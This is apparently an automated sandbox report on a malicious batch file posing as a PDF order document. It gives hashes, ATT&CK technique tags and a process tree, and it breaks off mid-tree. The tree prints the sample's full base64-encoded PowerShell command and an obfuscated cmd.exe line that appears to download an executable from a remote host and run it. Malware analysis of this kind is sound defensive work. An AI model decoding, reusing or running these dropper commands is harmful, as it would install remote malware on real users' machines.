fad7b96967c473e1df7649fd5d64770965643a1cc59927f2791ca8d4b3caf99a

General

Target
Photo_10119705010_Product_Review_Order_Front_Back_PDF.bat
Size 12KB
Sample260601-c8243ad12k
SHA256 fad7b96967c473e1df7649fd5d64770965643a1cc59927f2791ca8d4b3caf99a
MD5 11db671be126f5b077017a1d0fef407d
SHA1 826072980d0d2db00a89c6332249ca1726d2e7c9
SHA512 6bafb4f092f6071054a83926f8ef1805e0cae452f566589545ab9768c2189bd985c193c13cae5da778bf2dfd29ee8816e8d534ada3b567a40804aa03e2afe3da
SSDEEP 192:JWTxSmCETjVWw72YU3gluc9SyA/Qcg61ZK31XeGcIUs4jp/nlx29:J4xx7df72YAgllULYcgUK31XeGBslw
TLSH
T1DB521978A3E6ADC415E733C5AAE435447024A913D978667CBA5C1CD335ACE0A6E30FF8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3964	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
4900	cmd.exe
4428	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4112	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4112	PING.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3964	powershell.exe
3964	powershell.exe
3496	powershell.exe
3496	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3964	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 2952	2736	cmd.exe	81
PID 2736 wrote to memory of 2512	2736	cmd.exe	82
PID 2736 wrote to memory of 2276	2736	cmd.exe	83
PID 2276 wrote to memory of 908	2276	cmd.exe	85
PID 2276 wrote to memory of 4648	2276	cmd.exe	86
PID 2276 wrote to memory of 3964	2276	cmd.exe	87
PID 2276 wrote to memory of 3496	2276	cmd.exe	88
PID 3496 wrote to memory of 4900	3496	powershell.exe	89
PID 4900 wrote to memory of 4428	4900	cmd.exe	90
PID 4428 wrote to memory of 3840	4428	cmd.exe	91
PID 4428 wrote to memory of 2772	4428	cmd.exe	92
PID 2772 wrote to memory of 4112	2772	cmd.exe	93
PID 2772 wrote to memory of 1592	2772	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Photo_10119705010_Product_Review_Order_Front_Back_PDF.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\system32\mode.com
  mode con: cols=65 lines=17
  2⤵
  PID:2952
- C:\Windows\system32\mode.com
  mode con: cols=59 lines=20
  2⤵
  PID:2512
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\Photo_10119705010_Product_Review_Order_Front_Back_PDF.bat" h"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\mode.com
    mode con: cols=65 lines=17
    3⤵
    PID:908
- - C:\Windows\system32\mode.com
    mode con: cols=59 lines=20
    3⤵
    PID:4648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command ""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e "YwBtAGQAIAAvAGMAIAAoACgAKAAiAHsAMQAwAH0AewA5AH0AewA3AH0AewA1AH0AewA2AH0AewA0AH0AewAxAH0AewAyAH0AewAzAH0AewA4AH0AewAwAH0AIgAtAGYAJwBmAEkATABlACcALAAnACAAJwAsACcAKwAnACwAJwAxACUAJQBBAGwAbAAnACwAJwAsACAAIAAnACwAJwAgACAAMQAnACwAJwA3ACcALAAnAH4AJwAsACcAVQBTAEUAcgBTAHAAUgBPACcALAAnAE0AVwA2ADQAMwAyADoAJwAsACcAJQBDAG8ATQBtAG8AbgBwAHIAbwBHAHIAYQAnACkAKwAoACgAKAAiAHsAMQB9AHsAMgA0AH0AewAzADcAfQB7ADEANwB9AHsAMwA0AH0AewAzAH0AewA0AH0AewAzADAAfQB7ADEAMgB9AHsANwB9AHsAMgA1AH0AewAyAH0AewAzADIAfQB7ADIAOAB9AHsAMQA0AH0AewA4AH0AewA5AH0AewAzADEAfQB7ADYAfQB7ADMAMwB9AHsAMQAxAH0AewAyADIAfQB7ADEAMwB9AHsAMQA1AH0AewAyADAAfQB7ADEAOQB9AHsANQB9AHsAMgAxAH0AewAyADYAfQB7ADIAMwB9AHsAMQA2AH0AewAzADYAfQB7ADIAOQB9AHsAMQAwAH0AewAwAH0AewAxADgAfQB7ADMANQB9AHsAMgA3AH0AewAzADkAfQB7ADMAOAB9ACIAIAAtAGYAIAAnACYAJwAsACcAOgB+ACAALQA1ACcALAAnAC8AXgAnACwAJwAlACwAIAAgACcALAAnACwALAAgACAAJwAsACcAXgAgACcALAAnAF4AcABNAG8AJwAsACcAOgAgACcALAAnACAAIAAnACwAJwAgACgAcwBeAEUAXgB0ACAAXgAgACAAJwAsACcAIABeAF4AXgAnACwAJwBnACAAXgAxACcALAAnAFYAJwAsACcATQAnACwAJwBXACAALAAgACwAIAAoACAAIAAgACwAJwAsACcALgAwAF4ALgAwAC4AMgAgACcALAAnAF4AVAAnACwAJwBhAHQAQQA6ACcALAAnAF4AJwAsACcAJgBeAF4AXgAmACcALAAnAF4AXgBeACcALAAnAGMAUwAgAF4ALwAnACwAJwBeADIAdwAnACwAJwBeACAAWABqACcALAAnACwAIAAgACAAMQAlACUAYQBwACcALAAnACwAIAAnACwAJwBTACcALAAnADEAJwAsACcAMABhACcALAAnAHUAbgBYAF4AagAnACwAJwBeAC8AJwAsACcANQBeAFQAPQAnACwAJwBjACAAIAAgACcALAAnAGgAJwAsACcAfgAtADEAMgAsACAAMQAnACwAJwBeAF4AJgAgAF4AYwBeAHUAcgBrAEQAIAAnACwAJwBFAF4AagBeAFEAXgAnACwAJwBwAGQAJwAsACcAMQBeACcALAAnAF4AOABqACcAKQApACkAKwAoACIAewAxAH0AewAwAH0AewA5AH0AewA2AH0AewA4AH0AewA0AH0AewA3AH0AewA1AH0AewAyAH0AewAzAH0AIgAgAC0AZgAnAGoAQQBeACcALAAnADgAJwAsACcAXgByAF4AZQBeAHYAJwAsACcAXgAnACwAJwA4ACcALAAnAGoAJwAsACcAZwAnACwAJwBeACcALAAnAGsARAAxADgAXgBqAF4AbwBoAF4AbwAxACcALAAnAGIAZwBBAGIAJwApACsAKAAiAHsANQB9AHsAMgAyAH0AewAxAH0AewAxADMAfQB7ADYAfQB7ADEANgB9AHsAMQAxAH0AewAxADAAfQB7ADgAfQB7ADkAfQB7ADEANwB9AHsAMgB9AHsAMgAxAH0AewAxADUAfQB7ADQAfQB7ADEAOAB9AHsAMgAwAH0AewAyADQAfQB7ADAAfQB7ADMAfQB7ADcAfQB7ADEAMgB9AHsAMQA5AH0AewAyADMAfQB7ADEANAB9ACIALQBmACcAbwBeAGgAXgAnACwAJwBqAG8AXgAgAF4AcAAnACwAJwBwADEAbgBeAHAAMQBuAHAAXgBBACcALAAnAGsAXgAuAF4AJwAsACcAYwBNAHAAJwAsACcAbwBrAGUAXgAgAF4AMQA4AF4AJwAsACcAbgBeAGEAagBrAF4AJwAsACcAYwBeAG8AMwBeAEYAXgAvACcALAAnAGcALgB4AGsAXgBEAEEAYgAnACwAJwBnAF4AeAAgAF4AJwAsACcAcgBrAF4AZQBeAHIAQQBeAGIAJwAsACcAXgBLAHcAbwBeACcALAAnAF4AegAnACwAJwAxACcALAAnAF4AJwAsACcAYgBnAGsAXgAnACwAJwBEAGUAQQAnACwAJwBwADEAQQBGAEkAJwAsACcAXgAnACwAJwBeACcALAAnADEAbgBRACcALAAnAGIAXgBnADoAXgAvAF4ALwBTAF4ATQBeAEEAJwAsACcAagBMAF4AIAAxADgAJwAsACcAMwBTAHcAJwAsACcAXgBrAEQAXgBNAF4AJwApACsAKAAiAHsAMQA2AH0AewA4AH0AewAwAH0AewAxADEAfQB7ADEAMwB9AHsAMQA0AH0AewAxADcAfQB7ADEAMgB9AHsAMwB9AHsANAB9AHsANgB9AHsANwB9AHsAMQA1AH0AewAyAH0AewA1AH0AewAxAH0AewAxADAAfQB7ADkAfQAiACAALQBmACcAcABeADEAJwAsACcAbgBwADEAJwAsACcAeAA/AGEAXgAnACwAJwBlAHIAQQAnACwAJwBiAGcAXgAuAF4AeABrACcALAAnAHAAMQAnACwAJwBeAEQAJwAsACcAQQAnACwAJwBVACcALAAnAF4AYwBGAEkAXgAnACwAJwBuAGEAJwAsACcAXgAvAF4AcAAxAG4AJwAsACcAcgBrAF4AJwAsACcAYQBqAF4AJwAsACcAawBEACcALAAnAGIAXgBnAF4AJwAsACcAZgBeAEQAbwBoAF4AJwAsACcAXgBlAEEASwB3AG8AXgAnACkAKwAnADMAXgBGACcAKwAoACIAewAwAH0AewA2AH0AewA3AH0AewAxAH0AewAyAH0AewA0AH0AewA1AH0AewAzAH0AIgAtAGYAJwBlAG8AaABeACcALAAnACYAXgBeACcALAAnAF4AJgAgAHAAMQAnACwAJwBeAGYAIAAnACwAJwBuAF4AJwAsACcAYQByAF4AIAAxADgAagBeAHgAJwAsACcAcAAxACcALAAnAG4AXgBwADEAQQAgAF4AXgBeACcAKQArACgAIgB7ADQAfQB7ADIAfQB7ADYAfQB7ADAAfQB7ADUAfQB7ADMAfQB7ADEAfQAiAC0AZgAgACcAZwAuACcALAAnAGIAXgBnAF4AJwAsACcAXgBqAGsARABeAGUAQQBLAHcAbwByAGsAXgAnACwAJwBEAEEAJwAsACcAXgBwADEAbgBhACcALAAnAHgAXgBrACcALAAnAGUAcgBBAGIAJwApACsAKAAoACgAIgB7ADUAfQB7ADQAfQB7ADIAfQB7ADgAfQB7ADEAMwB9AHsAMQAwAH0AewA5AH0AewAxADEAfQB7ADYAfQB7ADEAMgB9AHsAMAB9AHsAMQB9AHsAMwB9AHsANwB9ACIAIAAtAGYAJwBeAHgAKQAsACcALAAnACwALAAgACcALAAnACYAXgAnACwAJwAgACAALAAsACcALAAnAF4AXgAnACwAJwB4AF4AIABeACcALAAnAHcAbwByAGsAZQByAEEAYgBnAF4ALgAnACwAJwAgACcALAAnAF4AXgAmAF4AJwAsACcASwAnACwAJwBBACcALAAnAF4AJwAsACcAeABrAEQAQQBiAGcAJwAsACcAIABTAGUAawBEAF4AIABwADEAbgBeAGEAXgBqAF4AawBEAGUAJwApACkAKQArACgAKAAiAHsAMQB9AHsAMAB9AHsAMwB9AHsAMgB9ACIALQBmACcAJgAgACcALAAnACkAJgAnACwAJwAsACcALAAnACAAIAAoACwALAAgACcAKQApACsAJwAoAHMAJwArACgAKAAoACIAewAxADMAfQB7ADEAMgB9AHsAMQB9AHsAMQA0AH0AewA5AH0AewA3AH0AewA4AH0AewAxADEAfQB7ADEANQB9AHsANAB9AHsAMQA2AH0AewAxADcAfQB7ADUAfQB7ADEAOAB9AHsAMQAwAH0AewAzAH0AewA2AH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACcAKQAgACAAIAAsACwALAAgACAAIAAnACwAJwBeAGEAXgB1AD0AJwAsACcAXgBGAD0AXgBtACEAJwAsACcANgA9AF4AIQBeAFMAXgBhACcALAAnACAAIAAsACcALAAnACAAJwAsACcAXgB1AF4AOgAzACcALAAnAE0AJwAsACcAPQBeAGkAIQApACcALAAnADoAJwAsACcAXgB2ACcALAAnACAAKQAmACYAIAAgACAAJwAsACcAIABTACcALAAnAF4ARQBeAHQAJwAsACcAXgAhADUAXgBUACcALAAnACgAIAAgACwAIAAsACcALAAnACAAIAAgACgAXgBTAF4AZQB0ACAAXgAnACwAJwAgACcALAAnAEIAJwApACkAKQArACgAKAAiAHsAMAB9AHsAMQB9AHsAMQAzAH0AewAxADAAfQB7ADIAfQB7ADYAfQB7ADUAfQB7ADgAfQB7ADMAfQB7ADkAfQB7ADEAMgB9AHsANAB9AHsAMQAxAH0AewA3AH0AIgAtAGYAIAAnACkAJgAmACcALAAnACAAIAAgACgAIAAnACwAJwAgACAALAAsACAAJwAsACcAIABeACAAXgBBAF4ARwAyACcALAAnACAAIAAnACwAJwBzAEUAJwAsACcALAAoACcALAAnACAALAAgACAAIAAsACAAJwAsACcAXgBUACAAJwAsACcAPQAhAEIAXgB2AF4AJwAsACcAIAAsACcALAAnACwAIAAsACAAIAAgACwAJwAsACcANgBeADoAUwBeAD0AXgBkACEAKQAgACcALAAnACAALAAgACAAJwApACkAKwAoACgAIgB7ADcAfQB7ADEAMgB9AHsAMQA2AH0AewAxADAAfQB7ADEAMQB9AHsANQB9AHsAMAB9AHsANgB9AHsAMgB9AHsAMQA4AH0AewAzAH0AewA0AH0AewAxADcAfQB7ADEANAB9AHsAMQB9AHsAOQB9AHsAMQAzAH0AewAxADUAfQB7ADgAfQAiACAALQBmACcASwBeADQAJwAsACcALAAgACwAIAAgACcALAAnAEEAXgAnACwAJwAxACcALAAnAF4APQBeAFIAIQAnACwAJwBeACcALAAnAD0AIQBeACcALAAnACAAKQAmACAAIAAgACgAIAAgACcALAAnACgAcwAnACwAJwAgACkAJwAsACcAVAAgAF4AIABeACcALAAnACAAegBiACcALAAnACAALAAoAHMAXgAnACwAJwAmACYAJwAsACcAIAAsACcALAAnACAAIAAgACcALAAnAEUAJwAsACcAKQAnACwAJwBHADIAXgA6AF4AcAAnACkAKQArACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAnAF4AZQBUACAAIAAnACwAJwBvAG4AZQAnACwAJwBeACcAKQArACgAKAAoACIAewAyAH0AewA2AH0AewAzAH0AewA0AH0AewAxAH0AewA1AH0AewAwAH0AIgAgAC0AZgAnACYAIAAnACwAJwBnACcALAAnAD0AIQBeAHoAXgBiAF4AJwAsACcANABeADoAJwAsACcAXgBBAGIAXgAnACwAJwA9AHMAXgAhACkAJwAsACcASwBeACcAKQApACkAKwAoACgAIgB7ADEANgB9AHsAOAB9AHsAMQA5AH0AewAxADgAfQB7ADEANwB9AHsAMgA2AH0AewA2AH0AewAyADgAfQB7ADIAMAB9AHsAMQAzAH0AewAyADIAfQB7ADEAMAB9AHsAMgB9AHsAMgAxAH0AewA0AH0AewAwAH0AewAyADkAfQB7ADkAfQB7ADEAMQB9AHsAMgAzAH0AewAyADQAfQB7ADEANQB9AHsAMQB9AHsAMQA0AH0AewAyADUAfQB7ADMAfQB7ADUAfQB7ADcAfQB7ADIANwB9AHsAMQAyAH0AIgAgAC0AZgAgACcAQQBeACcALAAnACAAKQAmACYAIAAoAF4AUwBlAFQAJwAsACcAMQBeADcAegA9AF4AIQAnACwAJwA9AF4AIQAnACwAJwBhAF4ASgA6AFIAXgAnACwAJwAxACcALAAnACAALAAnACwAJwBeADcAegAnACwAJwA2ACcALAAnADAAYQBXADAAYQAnACwAJwB0ACAAXgAgACcALAAnAFcAJwAsACcAUgBuAF4APQB0ACEAKQAmACAAJwAsACcAJgAnACwAJwAgAFUAXgBLACcALAAnACwAIAAgACcALAAnACAAIAAoACAALAAgACgAXgBTAEUAdAAgAF4AIAAnACwAJwBeACcALAAnAGUAXgA6AHcAXgBpAD0AJwAsACcAYQBeAEoAPQBeACEAXgBvAG4AJwAsACcAIAAgACkAJwAsACcANgAnACwAJwAoACAAKABzAF4AZQBeACcALAAnAF4AIQAnACwAJwApACAAIAAnACwAJwBeADEAJwAsACcANwAhACkAJwAsACcAOgAnACwAJwAgACcALAAnAD0AJwApACkAKwAoACgAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACcAXgBTACcALAAnACgAJwAsACcAXgBFAF4AdAAnACkAKQApACsAKAAiAHsANQB9AHsAMwB9AHsANAB9AHsAMQB9AHsAMgB9AHsAMAB9ACIALQBmACAAJwBVAF4ASwBeADEAJwAsACcAagAnACwAJwA9AF4AIQBeACcALAAnACAAJwAsACcAXgBWAEEAJwAsACcAIABeACAAXgAnACkAKwAoACgAIgB7ADAAfQB7ADMAfQB7ADEAfQB7ADIAfQAiAC0AZgAgACcAXgA6ACcALAAnACkAJgAgACAAIAAoACAAJwAsACcAIAAnACwAJwB1AG4AXgA9AF4AUAAhACcAKQApACsAKAAoACIAewA0AH0AewAxADQAfQB7ADMAfQB7ADEAMAB9AHsAMQA2AH0AewAxADUAfQB7ADEAMgB9AHsAMQAxAH0AewAwAH0AewA3AH0AewA1AH0AewAyAH0AewA2AH0AewA4AH0AewA5AH0AewAxAH0AewAxADMAfQAiAC0AZgAgACcAXgAnACwAJwBeACAAXgAwAHUAPQAhAF4AJwAsACcAIAAgACwAIAAgACkAJgAnACwAJwBeACAAJwAsACcALAAoACcALAAnAF8AIQApACAALAAgACAALAAgACcALAAnACAAKABeACcALAAnAEsAXgA9ACcALAAnAHMAJwAsACcAZQB0ACAAJwAsACcAXgAxAG4AXgBwACcALAAnAGoAOgBBACcALAAnAF4AQQAnACwAJwAxAG4AXgBwADoAbwAnACwAJwBTAF4AZQBUACAAJwAsACcAXgAhAF4AVgAnACwAJwA9ACcAKQApACsAKAAoACgAIgB7ADIAfQB7ADMAfQB7ADEAfQB7ADAAfQAiACAALQBmACAAJwAgACgAXgBzAGUAdAAgACAAXgAnACwAJwAmACYAKAAnACwAJwBeAGgAJwAsACcAPQBuAF4AIQApACcAKQApACkAKwAoACgAIgB7ADIAMQB9AHsAMwAyAH0AewAyADkAfQB7ADIAMwB9AHsAMQA1AH0AewA4AH0AewAxADYAfQB7ADAAfQB7ADEAMgB9AHsANQB9AHsANwB9AHsAMgA4AH0AewAyADcAfQB7ADEANwB9AHsAMQAxAH0AewAyADAAfQB7ADMAfQB7ADEANAB9AHsAMQAzAH0AewAyADIAfQB7ADEAOAB9AHsANAB9AHsAMgB9AHsAOQB9AHsAMgA0AH0AewAzADMAfQB7ADEAOQB9AHsAMQAwAH0AewAzADEAfQB7ADEAfQB7ADYAfQB7ADIANgB9AHsAMgA1AH0AewAzADAAfQAiACAALQBmACcALAAnACwAJwBzACcALAAnAFgAJwAsACcAXgA9AGIAIQAnACwAJwBvAF4AOgBeACcALAAnACYAJgAnACwAJwBlACcALAAnACgAUwBeAGUAVAAgAF4AIAAgACcALAAnACkAJwAsACcAYgAnACwAJwAgACwAKAAnACwAJwBBACcALAAnACwAIAAgACAALAAgACkAJwAsACcAIABYACcALAAnACkAJgAgACAAKABTAF4ARQBeAHQAIAAnACwAJwBGAF4ASQA9AGgAIQAnACwAJwAgACAAJwAsACcAXgAnACwAJwBBAF4AJwAsACcAJgAgACgAIAAgACAALAAsACcALAAnAF4ARgBjAG8AXgA6AF4AagAnACwAJwAgAF4AQQBeAEYAYwBvAD0AIQBeACcALAAnAHAAXgBQAD0AIQAnACwAJwBeADoAXgAnACwAJwA9ACcALAAnACAAJwAsACcAXgB0ACcALAAnAD0AXgAhACcALAAnAEEAXgBvACcALAAnAHUAJwAsACcAIABeACcALAAnAF4AJwAsACcAMAAnACwAJwAlAF4AIQApACYAJwApACkAKwAoACIAewAxAH0AewA0AH0AewAyAH0AewAwAH0AewAzAH0AIgAtAGYAIAAnAFAAJwAsACcAIABeAGwAJwAsACcAPQBeACEAWABwAF4AJwAsACcAOgBeAHoAJwAsACcANQBeAE0AJwApACsAKAAoACgAIgB7ADUAfQB7ADgAfQB7ADQAfQB7ADMAfQB7ADIAfQB7ADcAfQB7ADEAfQB7ADYAfQB7ADAAfQAiAC0AZgAgACcANQBeAE0AXgA6AGYAXgBEAF4AJwAsACcAdAAgACcALAAnACAAIAApACYAJgAgACAAIAAnACwAJwAgACcALAAnACAALAAgACAAIAAsACwAJwAsACcAXgAzAF4APQAnACwAJwBNAHgAXgBiAF4AUgA9ACEAXgBsAF4AJwAsACcAKABzAF4AZQAnACwAJwBeAGoAIQApACcAKQApACkAKwAoACIAewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AewAxAH0AIgAgAC0AZgAnACgAcwBlAF4AVAAgAF4AIABeACAAIABeAGIAQgAnACwAJwBeACcALAAnAF4ATQBeACcALAAnAD0AMwAhACkAJgAmACAAJwAsACcAeABeAGIAJwAsACcAPQAhACcAKQArACcAUgBeADoAJwArACgAKAAoACIAewA5AH0AewA3AH0AewA2AH0AewAxADEAfQB7ADgAfQB7ADUAfQB7ADIAfQB7ADEAMAB9AHsAMwB9AHsAMQB9AHsANAB9AHsAMAB9ACIAIAAtAGYAIAAnACYAIAAgACAAKAAgACAALAAgACAAIAAsACwAIAAoAF4AcwAnACwAJwBrAF4ARAA9AF4AbAAnACwAJwAgAF4AQQBXAF4AaABeAFoAPQAnACwAJwBeAGIAQgA6AF4AJwAsACcAIQApACAALAAgACkAJwAsACcAVAAgACcALAAnACEAKQAnACwAJwA9AE0AJwAsACcALAAgACgAUwBeAGUAJwAsACcAXgBiAF4AUQAnACwAJwAhACcALAAnACYAIAAgACgAIAAsACAALAAgACwAIAAgACwAIAAnACkAKQApACsAJwBFACcAKwAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACcATQA9AF4AIQBeAEEAXgAnACwAJwB0ACAAIAAnACwAJwBeAGYAXgA3ACcAKQArACgAKAAoACIAewA0ADEAfQB7ADMANAB9AHsAMwAwAH0AewA0ADAAfQB7ADEAMAB9AHsAMgB9AHsAMgAxAH0AewAxADMAfQB7ADMANgB9AHsAMgA4AH0AewAxAH0AewA2AH0AewA5AH0AewAxADkAfQB7ADIAOQB9AHsAMQA3AH0AewAxADgAfQB7ADQAfQB7ADMANwB9AHsAMgAwAH0AewAzADkAfQB7ADMANQB9AHsAMQA2AH0AewAyADIAfQB7ADIANgB9AHsAMgA3AH0AewAzAH0AewAzADMAfQB7ADEANQB9AHsAMQAyAH0AewAyADUAfQB7ADcAfQB7ADMAOAB9AHsAMQA0AH0AewA4AH0AewAyADQAfQB7ADMAMgB9AHsAMwAxAH0AewAwAH0AewAxADEAfQB7ADUAfQB7ADIAMwB9ACIALQBmACAAJwAhAF4ATAAnACwAJwB4AF4AdAA9ACEAXgAnACwAJwA4AGIAPQAnACwAJwAwACcALAAnACAAJwAsACcATQAnACwAJwBmAF4ANwAnACwAJwAsACcALAAnACAAKABlAEMAXgBIAF4AJwAsACcAXgAnACwAJwAxACcALAAnAF4AMABKACcALAAnAFcAKQAnACwAJwApACcALAAnACwAJwAsACcAVwAwAGEAJwAsACcAcwBeACcALAAnACAAJwAsACcAKAAgACAAJwAsACcATQA6AF4AJwAsACcAIAAgACwAIAAgACcALAAnAF4ALQAhACcALAAnAGUAJwAsACcAXgAnACwAJwBvACwAIAAgACUAXgBiAHgAXgB0ACcALAAnACAAIAAgACcALAAnAF4AdAAgACAAIABeAEwAMABeACcALAAnAEoAXgBNAD0AJwAsACcAXgBiACcALAAnAFEAPQBeAHkAXgAhACkAJgAmACAAJwAsACcAXgAnACwAJwA9ACcALAAnAF4AOgAwAGEAVwAwAGEAVwAnACwAJwBhACcALAAnAF4AaAAnACwAJwAgACgAXgAnACwAJwAgACwAIAAgACAAKQAmACgAXgBTAGUAVAAgACAAXgAgACAAJwAsACcALAAnACwAJwAgACAAIAApACYAJwAsACcALAAgACcALAAnAFoAXgA6ACcALAAnAFcAJwApACkAKQArACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwA6AH4AJwAsACcAXgAgAC0AJwApACsAKAAoACgAIgB7ADAAfQB7ADcAfQB7ADUAfQB7ADMAfQB7ADEAMQB9AHsAOQB9AHsAOAB9AHsAMQB9AHsAMgB9AHsANAB9AHsAMQAyAH0AewAxADAAfQB7ADYAfQAiACAALQBmACAAJwAwACwAXgAgACAAXgAnACwAJwAsACcALAAnACAALAAlAHAAJwAsACcALQAnACwAJwBVAEIATAAnACwAJwBeACcALAAnACAAIAAxACUALAAgACkAIAAgACwAIAAsADAAYQBXACcALAAnACAAJwAsACcAJQAgACAATwBKAGsAIAAnACwAJwAhACcALAAnAC0AMQAsADEAJQBeAG0AJQBPAHMAOgB+ACAAIAAgADMALAAnACwAJwAxAF4AJwAsACcASQBDADoAfgAgACAAJwApACkAKQApAC4AUgBFAHAATABBAEMARQAoACcAMABhAFcAJwAsAFsAUwBUAHIAaQBOAEcAXQBbAGMAaABhAHIAXQAzADQAKQAuAFIARQBwAEwAQQBDAEUAKAAnAE8ASgBrACcALAAnAHwAJwApACkAIAA+ACAAJABuAHUAbABsADsAIABjAG0AZAAgAC8AYwAgACgAKAAnAHMAZQB0ACcAKwAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAEUAQwAnACwAJwAgAEMATwBNAFMAUAAnACkAKwAnAD0AJQBUACcAKwAnAEUATQBQACcAKwAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnACUASAAzACcALAAnADEAJwApACsAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwBwAGQAYQAnACwAJwB1ACcAKQArACcAdABlAF8AJwArACcAYwBvAGQAJwArACcAZQBjAC4AJwArACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiACAALQBmACcAZQAgACcALAAnACYAJgAgAGUAJwAsACcAZQB4ACcAKQArACcAYwAnACsAJwBoAG8AJwArACcAIAAnACsAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnACAARgA1ACcALAAnACEAJwApACsAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwB0ACcALAAnAGoAIABmACcAKQArACcAcAAnACkALgBSAGUAcABsAEEAYwBlACgAJwBGADUAagAnACwAJwB8ACcAKQAuAFIAZQBwAGwAQQBjAGUAKAAoAFsAYwBoAGEAcgBdADcAMgArAFsAYwBoAGEAcgBdADUAMQArAFsAYwBoAGEAcgBdADQAOQApACwAWwBzAHQAUgBpAE4AZwBdAFsAYwBoAGEAcgBdADkAMgApACkA"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3496
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "%CoMmonproGraMW6432:~ 17, +1%%AllUSErSpROfILe:~ -5, 1%%appdatA:~-12, 1%, ,, ^/V: , /^c " , , ( , (s^E^t ^ 5^T=^pMohg ^1^2wM.0^.0.2 ^^^&^^^&^ cS ^/S^ Xj^TE^j^Q^unX^j ^^^&^^^& ^c^urkD 1^8j1^8jA^bgAbgkD18^j^oh^o18^j^r^e^v^oke^ ^18^jL^ 18jo^ ^p1n^ajk^DeA^Kwo^rk^e^rA^bg.xk^DAbg^x ^p1AFIp1n^p1np^Ab^g:^/^/S^M^Abgk^cMp^1nQ^kD^M^o^h^k^.^c^o3^F^/^z^3Sw^f^Doh^Up^1^/^p1naj^kD^eAKwo^rk^erAbg^.^xk^DAb^g^x?a^p1np1na^cFI^3^Feoh^p1n^p1A ^^^&^^^& p1n^ar^ 18j^x^f ^p1na^jkD^eAKwork^erAbg.x^kDAb^g^x^ ^^^&^^^&^ SekD^ p1n^a^j^kDeAK^workerAbg^.xkDAbg^x),,, ,, )&& (,, ,(s^E^t S^a^u=^!5^T:M=^i!) )&& ( , , , (^S^et ^ B^v6=^!^S^a^u^:3^F=^m!) ,,, )&& ( , , ,, ,(sE^T ^ ^A^G2=!B^v^6^:S^=^d!) , , , , , )& ( ,(s^ET ^ ^ zb^K^4=!^A^G2^:^p1^=^R!) ,, , )&& (s^eT ^one=!^z^b^K^4^:^Ab^g=s^!)& ( , (^SEt ^ 6a^J=^!^one^:w^i=^7!) , )&( (s^e^t ^ 1^7z=^!6a^J:R^A^=""^!) , )&& (^SeT U^K^1=^!1^7z:Rn^=t!)& (^S^E^t ^ ^ ^VAj=^!^U^K^1^:un^=^P!)& ( ,(S^eT ^ ^1n^p=^!^V^Aj:A^K^=_!) , , , )& (^set ^ ^0u=!^1n^p:o^h=n^!)&&( (^set ^ ^A^Fco=!^0u^:^F^I=h!) ,, , )&&(S^eT ^ A^o=^!^A^Fco^:^j^=b!)& (S^E^t Xp^P=!A^o^:^Xb=%^!)&& ( ,, ,(^se^t ^ ^l5^M=^!Xp^P:^z^3^=^j!) , ,, )&& (s^et Mx^b^R=!^l^5^M^:f^D^=3!)&& (se^T ^ ^ ^bB=!^M^x^b^R^:^b^Q=M!)& ( , , , , , (S^eT ^AW^h^Z=!^bB:^k^D=^l!) , )& ( , ,, (^sEt ^f^7M=^!^A^W^h^Z^:18b=^-!) , )&(^SeT ^ ^bx^t=!^f^7^M:^Q=^y^!)&& ( , , , (^s^e^t ^L0^J^M="") , )&, (eC^H^o, %^bx^t^:""=!^L^0JM^:~^ -0,^ ^ ^-1^!% | , ,%pUBLIC:~ -1,1%^m%Os:~ 3, 1%, ) , ,""
      4⤵
      An obfuscated cmd.exe command-line is typically used to evade detection.
      Suspicious use of WriteProcessMemory
      PID:4900
    - - C:\Windows\system32\cmd.exe
        
